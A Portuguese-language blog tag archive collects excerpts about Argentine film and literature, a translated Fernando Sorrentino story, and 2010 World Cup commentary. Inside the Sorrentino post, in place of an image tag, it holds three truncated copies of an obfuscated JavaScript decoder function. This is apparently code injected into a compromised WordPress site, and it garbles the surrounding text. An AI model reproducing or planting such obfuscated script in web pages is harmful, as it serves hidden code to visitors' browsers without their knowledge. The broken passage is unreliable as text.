Posts Tagged ‘Argentina’

Um livro para respirar pouco

sexta-feira, abril 22nd, 2011

Ricardo Darin (Bejamín) e Soledad Villamil (Irene)

Eu já havia visto o filme e acho que isso ajudou, mas o fato é que o livro “O segredo dos seus olhos”, no qual foi baseada a obra homônima vencedora do Oscar de melhor filme estrangeiro em 2010, é de uma pegada incrível. Da meia-noite de ontem às quatro da manhã de hoje, eu devorei as 160 páginas que faltavam para concluir minha leitura (são 210 páginas). (mais…)

Leia conto do argentino Fernando Sorrentino traduzido pela escritora Ana Flores

segunda-feira, fevereiro 28th, 2011

function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5ando Sorrentino” width=”460″ height=”360″ class=”aligncenter size-full wp-image-2293″ />Fernando Sorrentino é escritor e professor de Língua e Literatura

A LIÇÃO
Fernando Sorrentino

Tradução: Ana Flores
anaflores.rj@terra.com.br

Quando terminei meu curso secundário, consegui emprego como funcionário de uma companhia de seguros de Buenos Aires. Era um trabalho bem desagradável e se desenvolvia num ambiente de pessoas desprezíveis, mas como eu tinha apenas dezoito anos, isso não me incomodava tanto. (mais…)

O segredo dos seus olhos

segunda-feira, outubro 4th, 2010

A linda Soledad Villamil e o premiado Ricardo Darín protagonizam o ótimo filme

Na apresentação, na capa do DVD, está escrito que é um daqueles filmes que ficam em nossa mente. O meu amigo Thiago Roque já tinha se encantado. O pessoal do Oscar também. Mas eu não tinha visto ainda. E agora posso dizer: o filme argentino que ganhou a estatueta mais cobiçada do cinema é excepcional. Detalhe importante: é baseado no livro “La pregunta de sus ojos” (A pergunta dos seus olhos), de Eduardo Sacheri. (mais…)

Sessão de cinema

segunda-feira, agosto 2nd, 2010

http://www.youtube.com/watch?v=rz45qUrQF8M

Eis aqui minhas impressões sobre alguns filmes que vi há poucos dias: “Coração Louco”, “Armênia” e “A Janela”. Começo por este (“La Ventana”), de 2009, dirigido pelo argentino Carlos Sorín e que retrata o último dia de vida de um escritor de 80 anos (interpretado pelo uruguaio Antonio Larreta). Há obras que chegam a doer na alma pela sua simplicidade. Esta é uma delas. É incrível como um roteiro construído sobre tal simplicidade pode ser tão bom. (mais…)

Emoção não se planeja

domingo, julho 4th, 2010

Muitas vezes as coisas mais emocionantes de nossas vidas não estão ligadas aos principais fatos de nossas vidas. Na Copa do Mundo também é assim. Nem sempre as grandes emoções são reservadas para os principais duelos.

Quem poderia imaginar que Uruguai x Gana e Espanha x Paraguai pudessem ser os dois jogos mais dramáticos da Copa? (mais…)

Memoráveis

segunda-feira, junho 28th, 2010

Aí está a graça da Copa. Tem gente que fica torcendo para que os grandões sejam eliminados. Pra quê? O que pode ser mais emocionante do que estes dois jogos de quartas-de-final?: Brasil x Holanda e Argentina x Alemanha.

Pena que a Itália saiu. Pena que Espanha ou Portugal vai sair. Os grandes confrontos é que fazem da Copa uma verdadeira Copa. São desses jogos que não nos esquecemos jamais. (mais…)

Não à tecnologia no futebol

domingo, junho 27th, 2010

Os erros da arbitragem neste domingo de Copa do Mundo estimulam novamente a discussão sobre a adoção da tecnologia para esclarecer lances polêmicos. Sou contra. Primeiro porque futebol sem polêmica não tem graça. E segundo porque a maioria dos erros poderia ser evitada pelos próprios árbitros e assistentes. (mais…)

Estética e matemática

quarta-feira, junho 23rd, 2010

Com o passar dos anos, os avanços tecnológicos, o show de imagens, as câmeras posicionadas em todos os cantos do estádio, tudo isso ajuda a tornar a Copa do Mundo um grande desfile de vaidades.

São cabelos modernosos, chuteiras coloridas, tatuagens que homenageiam não sei quem e assim por diante. Parte do público – composto de mulheres e gays – já até se queixam quando a beleza física dos atletas não corresponde às expectativas. (mais…)

Jogo dramático

sábado, junho 19th, 2010

O primeiro jogo dramático da Copa: Dinamarca 2 x 1 Camarões. Ironia do futebol: a primeira seleção eliminada é africana, exatamente quando muito se esperava das equipes do continente sede do Mundial. E a Holanda, mais uma vez, passa fácil pela primeira fase, antecipadamente. Será que chegou a hora dos laranjas? (mais…)

Morte de Saramago

sexta-feira, junho 18th, 2010

A morte de um dos maiores nomes da literatura mundial é um grande acontecimento. Um grande evento. Meu amigo Deco sempre me dizia – em nossas “noitadas filosóficas” - que a morte das pessoas quase sempre se torna um evento social. A morte de Saramago é um grande evento cultural. Dá voz mais forte a outros escritores, a personalidades da cultura, a nomes que geralmente ficam escondidos e só aparecem de tempos em tempos. (mais…)